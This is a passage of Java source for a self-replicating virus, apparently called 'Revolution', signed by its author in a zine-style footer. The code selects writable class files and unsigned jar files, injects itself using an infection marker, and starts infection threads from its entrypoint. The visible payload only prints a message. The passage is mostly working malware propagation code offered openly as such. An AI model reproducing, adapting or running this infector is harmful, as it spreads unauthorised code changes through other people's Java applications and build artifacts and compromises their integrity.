        replacements.put(MARKER, MARKER.getBytes(StandardCharsets.UTF_8));
        return buildJar(target, replacements);
      }
    } catch (IOException _) {
      return Optional.empty();
    }
  }

  /// Rebuild the Jar file under `target`, keeping all of its contents except the
  /// files from the `content` map.
  private static Optional<byte[]> buildJar(Path target, Map<String, byte[]> content) {
    try (var jar = new JarFile(target.toFile());
        var baos = new ByteArrayOutputStream()) {
      try (var jos = new JarOutputStream(baos)) {
        for (var entry : content.entrySet()) {
          jos.putNextEntry(new JarEntry(entry.getKey()));
          jos.write(entry.getValue());
        }
        for (var entry : Collections.list(jar.entries())) {
          if (entry.isDirectory() || content.containsKey(entry.getName())) {
            continue;
          }
          jos.putNextEntry(entry);
          jos.write(jar.getInputStream(entry).readAllBytes());
        }
      }
      return Optional.of(baos.toByteArray());
    } catch (IOException e) {
      return Optional.empty();
    }
  }

  /// Virus entrypoint. This is where the magic happens!
  private static void entry() {
    // if multiple infected classes land in the class path, make sure, the virus is
    // only executed
    // once per JVM instance.
    if (null != System.setProperty(MARKER, "")) {
      return;
    }

    new Thread(() -> System.out.println("Sizing the means of execution!")).start();

    // we can get the class and method name of the entrypoint dynamically
    var entryClass = Revolution.class.getName();
    var entryMethod = methodName();

    new Thread(() -> infect(entryClass, entryMethod)).start();
  }

  private static Stream<Path> classCandidates(Path dir) throws IOException {
    return Files.find(
        dir,
        1,
        (path, attrs) -> path.toString().toLowerCase(Locale.ROOT).endsWith(".class")
            && attrs.isRegularFile()
            && Files.isReadable(path)
            && Files.isWritable(path));
  }

  private static Stream<Path> jarCandidates(Path dir) throws IOException {
    return Files.find(
        dir,
        1,
        (path, attrs) -> path.toString().toLowerCase(Locale.ROOT).endsWith(".jar")
            && attrs.isRegularFile()
            && Files.isReadable(path)
            && Files.isWritable(path)
            && canInfectJar(path));
  }

  /// Only infect Jar files that are not signed and do not already contain the
  /// infection marker.
  private static boolean canInfectJar(final Path path) {
    try (var jar = new JarFile(path.toFile())) {
      var isSigned = jar.getManifest().getAttributes("Signature-Version") != null;
      return !isSigned
          && jar.stream().parallel().noneMatch(entry -> entry.getName().contains(MARKER));
    } catch (IOException _) {
      return false;
    }
  }

  /// Conditions for class files to be considered infection candidates:
  /// * class file version is greater or equal to that of the virus
  /// * is not a Java `record` (e.g. extends `java/lang/Record`)
  /// * is not an `interface`
  /// * does not contain [#MARKER] in its
  ///   [java.lang.classfile.constantpool.ConstantPool]
  private static boolean canInfectClass(ClassModel target, Map<String, Integer> versions) {
    return (!(versions.get(KEY_MAJOR) > target.majorVersion()
        || versions.get(KEY_MINOR) > target.minorVersion()))
        // skip record classes
        && !target
            .superclass()
            .map(mm -> mm.asInternalName().equals("java/lang/Record"))
            .orElse(false)
        // skip interfaces
        && !target.flags().flags().contains(AccessFlag.INTERFACE)
        // skip classes that contain the infection marker
        && StreamSupport.stream(target.constantPool().spliterator(), true)
            .noneMatch(e -> e instanceof StringEntry se && se.stringValue().equals(MARKER));
  }

  public static void main(String[] args) {
    entry();
  }
}
------------------------------------------------------------------------------ r3s1stanc3 - r3s1stanc3@riseup.net 2026-07 --[ PREV | HOME | NEXT ]--